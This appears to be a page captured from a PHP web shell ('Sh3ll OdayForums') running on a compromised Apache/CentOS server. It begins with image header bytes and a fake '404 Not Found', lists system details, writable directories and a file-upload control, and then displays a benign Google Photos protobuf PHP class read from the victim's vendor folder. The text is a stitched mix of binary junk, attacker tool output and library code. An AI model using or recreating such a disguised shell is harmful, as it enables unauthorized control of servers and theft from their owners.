����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/google/photos-library/src/Google/Photos/Library/V1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/vendor/google/photos-library/src/Google/Photos/Library/V1/AlbumPosition.php
<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/photos/library/v1/photos_library.proto

namespace Google\Photos\Library\V1;

use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\RepeatedField;
use Google\Protobuf\Internal\GPBUtil;

/**
 * Specifies a position in an album.
 *
 * Generated from protobuf message <code>google.photos.library.v1.AlbumPosition</code>
 */
class AlbumPosition extends \Google\Protobuf\Internal\Message
{
    /**
     * Type of position, for a media or enrichment item.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.AlbumPosition.PositionType position = 1;</code>
     */
    private $position = 0;
    protected $relative_item;

    /**
     * Constructor.
     *
     * @param array $data {
     *     Optional. Data for populating the Message object.
     *
     *     @type int $position
     *           Type of position, for a media or enrichment item.
     *     @type string $relative_media_item_id
     *           The media item to which the position is relative to.
     *           Only used when position type is AFTER_MEDIA_ITEM.
     *     @type string $relative_enrichment_item_id
     *           The enrichment item to which the position is relative to.
     *           Only used when position type is AFTER_ENRICHMENT_ITEM.
     * }
     */
    public function __construct($data = NULL) {
        \GPBMetadata\Google\Photos\Library\V1\PhotosLibrary::initOnce();
        parent::__construct($data);
    }

    /**
     * Type of position, for a media or enrichment item.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.AlbumPosition.PositionType position = 1;</code>
     * @return int
     */
    public function getPosition()
    {
        return $this->position;
    }

    /**
     * Type of position, for a media or enrichment item.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.AlbumPosition.PositionType position = 1;</code>
     * @param int $var
     * @return $this
     */
    public function setPosition($var)
    {
        GPBUtil::checkEnum($var, \Google\Photos\Library\V1\AlbumPosition_PositionType::class);
        $this->position = $var;

        return $this;
    }

    /**
     * The media item to which the position is relative to.
     * Only used when position type is AFTER_MEDIA_ITEM.
     *
     * Generated from protobuf field <code>string relative_media_item_id = 2;</code>
     * @return string
     */
    public function getRelativeMediaItemId()
    {
        return $this->readOneof(2);
    }

    /**
     * The media item to which the position is relative to.
     * Only used when position type is AFTER_MEDIA_ITEM.
     *
     * Generated from protobuf field <code>string relative_media_item_id = 2;</code>
     * @param string $var
     * @return $this
     */
    public function setRelativeMediaItemId($var)
    {
        GPBUtil::checkString($var, True);
        $this->writeOneof(2, $var);

        return $this;
    }

    /**
     * The enrichment item to which the position is relative to.
     * Only used when position type is AFTER_ENRICHMENT_ITEM.
     *
     * Generated from protobuf field <code>string relative_enrichment_item_id = 3;</code>
     * @return string
     */
    public function getRelativeEnrichmentItemId()
    {
        return $this->readOneof(3);
    }

    /**
     * The enrichment item to which the position is relative to.
     * Only used when position type is AFTER_ENRICHMENT_ITEM.
     *
     * Generated from protobuf field <code>string relative_enrichment_item_id = 3;</code>
     * @param string $var
     * @return $this
     */
    public function setRelativeEnrichmentItemId($var)
    {
        GPBUtil::checkString($var, True);
        $this->writeOneof(3, $var);

        return $this;
    }

    /**
     * @return string
     */
    public function getRelativeItem()
    {
        return $this->whichOneof("relative_item");
    }

}


ZeroDay Forums Mini